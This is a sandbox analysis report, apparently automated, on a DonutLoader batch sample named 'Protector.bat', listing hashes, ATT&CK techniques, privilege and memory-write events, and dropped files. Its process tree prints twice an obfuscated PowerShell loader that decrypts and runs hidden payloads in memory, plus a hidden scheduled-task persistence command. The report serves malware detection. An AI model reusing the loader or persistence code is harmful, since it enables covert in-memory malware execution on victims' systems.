donutloader | d5a546280b3f8de7efde3969f4efe52c17cf9db0cdfe2b4b6044f5845a31132e

Analysis

max time kernel
150s
max time network
136s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/04/2026, 15:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Protector.bat
Size 589KB
Sample260422-s7p14sav4m
SHA256 d5a546280b3f8de7efde3969f4efe52c17cf9db0cdfe2b4b6044f5845a31132e
MD5 b6eb7dbb0cf42a4c12cde320b7656a43
SHA1 3529b77c7cca6a45326b6bbb2602fc4357da3a5e
SHA512 f07732a9af561fd85bbe393541be6167d916615b17dd1bd43a2574f7e1db5a6257e5f7d145744c39274b65a606d3c9d7dad2eeec037ea36922f77dc28aeadb79
SSDEEP 12288:KXiF1b6ihbXvISQnA4QX0bvlhB7M/FU7v0WegMZeIrvXkd+FvAftzc:KXouCXwA7KNhB4/u7pegykdhfto
TLSH
T18FD4016ED70C7F4369A283F6F5BA61990DFA17C1A61952465F003B908017CB3DF781AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution donutloader loader

Malware Config

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral2/memory/3116-56-0x0000000004A50000-0x0000000004A7A000-memory.dmp	family_donutloader

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4440	powershell.exe
3828	powershell.exe
3232	powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4440	powershell.exe
4440	powershell.exe
3828	powershell.exe
3828	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe
3232	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3116	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe
Token: 36	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe
Token: 36	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 1296	1964	cmd.exe	80
PID 1964 wrote to memory of 4440	1964	cmd.exe	81
PID 4440 wrote to memory of 3828	4440	powershell.exe	82
PID 4440 wrote to memory of 2928	4440	powershell.exe	85
PID 2928 wrote to memory of 3940	2928	WScript.exe	86
PID 3940 wrote to memory of 5032	3940	cmd.exe	88
PID 3940 wrote to memory of 3232	3940	cmd.exe	89
PID 3232 wrote to memory of 3116	3232	powershell.exe	53
PID 3232 wrote to memory of 392	3232	powershell.exe	13
PID 3232 wrote to memory of 976	3232	powershell.exe	12
PID 3232 wrote to memory of 2400	3232	powershell.exe	41
PID 3232 wrote to memory of 1752	3232	powershell.exe	28
PID 3232 wrote to memory of 1356	3232	powershell.exe	24
PID 3232 wrote to memory of 1552	3232	powershell.exe	26
PID 3232 wrote to memory of 1740	3232	powershell.exe	27
PID 3232 wrote to memory of 1936	3232	powershell.exe	35
PID 3232 wrote to memory of 1736	3232	powershell.exe	76
PID 3232 wrote to memory of 1144	3232	powershell.exe	18
PID 3232 wrote to memory of 2316	3232	powershell.exe	40
PID 3232 wrote to memory of 1132	3232	powershell.exe	17
PID 3232 wrote to memory of 2508	3232	powershell.exe	42
PID 3232 wrote to memory of 2696	3232	powershell.exe	45
PID 3232 wrote to memory of 1900	3232	powershell.exe	31
PID 3232 wrote to memory of 1308	3232	powershell.exe	23
PID 3232 wrote to memory of 716	3232	powershell.exe	14
PID 3232 wrote to memory of 2684	3232	powershell.exe	67
PID 3232 wrote to memory of 2676	3232	powershell.exe	44
PID 3232 wrote to memory of 2668	3232	powershell.exe	43
PID 3232 wrote to memory of 1876	3232	powershell.exe	72
PID 3232 wrote to memory of 1280	3232	powershell.exe	22
PID 3232 wrote to memory of 1472	3232	powershell.exe	25
PID 3232 wrote to memory of 3244	3232	powershell.exe	54
PID 3232 wrote to memory of 2056	3232	powershell.exe	36
PID 3232 wrote to memory of 3944	3232	powershell.exe	68
PID 3232 wrote to memory of 2832	3232	powershell.exe	50
PID 3232 wrote to memory of 2436	3232	powershell.exe	52
PID 3232 wrote to memory of 4384	3232	powershell.exe	63
PID 3232 wrote to memory of 4796	3232	powershell.exe	74
PID 3232 wrote to memory of 1244	3232	powershell.exe	21
PID 3232 wrote to memory of 1044	3232	powershell.exe	16
PID 3232 wrote to memory of 2816	3232	powershell.exe	49
PID 3232 wrote to memory of 2224	3232	powershell.exe	38
PID 3232 wrote to memory of 3300	3232	powershell.exe	55
PID 3232 wrote to memory of 2808	3232	powershell.exe	48
PID 3232 wrote to memory of 1968	3232	powershell.exe	32
PID 3232 wrote to memory of 1820	3232	powershell.exe	30
PID 3232 wrote to memory of 832	3232	powershell.exe	10
PID 3232 wrote to memory of 1028	3232	powershell.exe	70
PID 3232 wrote to memory of 1216	3232	powershell.exe	20
PID 3232 wrote to memory of 2788	3232	powershell.exe	47
PID 3232 wrote to memory of 3772	3232	powershell.exe	60
PID 3232 wrote to memory of 1796	3232	powershell.exe	29
PID 3232 wrote to memory of 1204	3232	powershell.exe	34
PID 3232 wrote to memory of 1192	3232	powershell.exe	19
PID 3232 wrote to memory of 2176	3232	powershell.exe	37
PID 3232 wrote to memory of 1976	3232	powershell.exe	33

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2316

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2436

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Protector.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t6/GV3VJlVybFxYfGHZDSHSK8ncZtrQXTU4I568Ir/c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hwoBO3DyGg3jft4HF5EPBw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LdFRX=New-Object System.IO.MemoryStream(,$param_var); $rqgHH=New-Object System.IO.MemoryStream; $qXyzH=New-Object System.IO.Compression.GZipStream($LdFRX, [IO.Compression.CompressionMode]::Decompress); $qXyzH.CopyTo($rqgHH); $qXyzH.Dispose(); $LdFRX.Dispose(); $rqgHH.Dispose(); $rqgHH.ToArray();}function execute_function($param_var,$param2_var){ $pfEVc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVdhE=$pfEVc.EntryPoint; $GVdhE.Invoke($null, $param2_var);}$nnrhL = 'C:\Users\Admin\AppData\Local\Temp\Protector.bat';$host.UI.RawUI.WindowTitle = $nnrhL;$ZNfzZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nnrhL).Split([Environment]::NewLine);foreach ($pDXAR in $ZNfzZ) { if ($pDXAR.StartsWith('EkihUJqXSRCzxLmXbHsV')) { $TDVsK=$pDXAR.Substring(20); break; }}$payloads_var=[string[]]$TDVsK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_158_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_158.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3828
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_158.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2928
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_158.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3940
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t6/GV3VJlVybFxYfGHZDSHSK8ncZtrQXTU4I568Ir/c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hwoBO3DyGg3jft4HF5EPBw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LdFRX=New-Object System.IO.MemoryStream(,$param_var); $rqgHH=New-Object System.IO.MemoryStream; $qXyzH=New-Object System.IO.Compression.GZipStream($LdFRX, [IO.Compression.CompressionMode]::Decompress); $qXyzH.CopyTo($rqgHH); $qXyzH.Dispose(); $LdFRX.Dispose(); $rqgHH.Dispose(); $rqgHH.ToArray();}function execute_function($param_var,$param2_var){ $pfEVc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVdhE=$pfEVc.EntryPoint; $GVdhE.Invoke($null, $param2_var);}$nnrhL = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_158.bat';$host.UI.RawUI.WindowTitle = $nnrhL;$ZNfzZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nnrhL).Split([Environment]::NewLine);foreach ($pDXAR in $ZNfzZ) { if ($pDXAR.StartsWith('EkihUJqXSRCzxLmXbHsV')) { $TDVsK=$pDXAR.Substring(20); break; }}$payloads_var=[string[]]$TDVsK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:5032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
MD5 9f3107a91c0a75eb75418f89fe7dcbcd
SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
TLSH
T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5
MD5 3ec0d76d886b2f4b9f1e3da7ce9e2cd7
SHA1 68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea
SHA512 a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6
TLSH
T14A318A23B79CC4A7C889117A10896C0375A6C3D704AEDDCFFA4CC564967F599CAA81A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_t0ocs3lm.oi1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t0ocs3lm.oi1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

$phantom-startup_str_158.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_158.bat
Size 589KB
SHA256 d5a546280b3f8de7efde3969f4efe52c17cf9db0cdfe2b4b6044f5845a31132e
MD5 b6eb7dbb0cf42a4c12cde320b7656a43
SHA1 3529b77c7cca6a45326b6bbb2602fc4357da3a5e
SHA512 f07732a9af561fd85bbe393541be6167d916615b17dd1bd43a2574f7e1db5a6257e5f7d145744c39274b65a606d3c9d7dad2eeec037ea36922f77dc28aeadb79
SSDEEP 12288:KXiF1b6ihbXvISQnA4QX0bvlhB7M/FU7v0WegMZeIrvXkd+FvAftzc:KXouCXwA7KNhB4/u7pegykdhfto
TLSH
T18FD4016ED70C7F4369A283F6F5BA61990DFA17C1A61952465F003B908017CB3DF781AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

$phantom-startup_str_158.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_158.vbs
Size 124B
SHA256 a66c0d7477f4e4c1ef54fd40382071313ca8b86b38565d19c6ddc3cdbfc178a0
MD5 c3032a18735e48ac21aa5cdb92c0c699
SHA1 ea2484ecdbc7f7dd2caee5ac4923a65937d11689
SHA512 41d3b77d190ca0e5d3f4bb107d7920373f1701ab234a35f186383f6041dfead9b8b4705392f2b791f403d5b29be12358ea69d40a757c0569c6ea168781872f2d
TLSH
T1A3B09229A28AC98B291651A31B72840C89A995812544EBABCB0186DD10B8988FAE6003
MD5 SHA1 SHA512 TLSH

Submit Download

memory/392-104-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/392-103-0x0000023ED7690000-0x0000023ED76BB000-memory.dmp

Download

memory/716-133-0x0000029613290000-0x00000296132BB000-memory.dmp

Download

memory/716-134-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/976-101-0x0000025053760000-0x000002505378B000-memory.dmp

Download

memory/976-102-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1132-122-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1132-121-0x0000027616F40000-0x0000027616F6B000-memory.dmp

Download

memory/1144-120-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1280-141-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1280-140-0x0000019DBA570000-0x0000019DBA59B000-memory.dmp

Download

memory/1308-132-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1308-131-0x0000026772DD0000-0x0000026772DFB000-memory.dmp

Download

memory/1356-106-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1356-105-0x000001818B990000-0x000001818B9BB000-memory.dmp

Download

memory/1472-144-0x0000025B3C990000-0x0000025B3C9BB000-memory.dmp

Download

memory/1552-110-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1552-109-0x000001EFC8BB0000-0x000001EFC8BDB000-memory.dmp

Download

memory/1736-118-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1736-117-0x000001F76C6C0000-0x000001F76C6EB000-memory.dmp

Download

memory/1740-116-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1740-115-0x000001E4A82C0000-0x000001E4A82EB000-memory.dmp

Download

memory/1752-113-0x0000025742230000-0x000002574225B000-memory.dmp

Download

memory/1752-114-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1876-143-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1876-142-0x000002CC6C780000-0x000002CC6C7AB000-memory.dmp

Download

memory/1900-127-0x0000027444140000-0x000002744416B000-memory.dmp

Download

memory/1900-128-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/1936-111-0x0000022CA9CF0000-0x0000022CA9D1B000-memory.dmp

Download

memory/1936-112-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/2056-149-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/2056-148-0x0000023650E80000-0x0000023650EAB000-memory.dmp

Download

memory/2316-123-0x0000026FCD5A0000-0x0000026FCD5CB000-memory.dmp

Download

memory/2316-124-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/2400-107-0x000001F7489B0000-0x000001F7489DB000-memory.dmp

Download

memory/2400-108-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/2436-155-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/2436-154-0x0000015869970000-0x000001586999B000-memory.dmp

Download

memory/2508-125-0x000001DFE8770000-0x000001DFE879B000-memory.dmp

Download

memory/2508-126-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/2668-139-0x00007FFC79AB0000-0x00007FFC79AC0000-memory.dmp

Download

memory/2668-138-0x0000020F18340000-0x0000020F1836B000-memory.dmp

Download

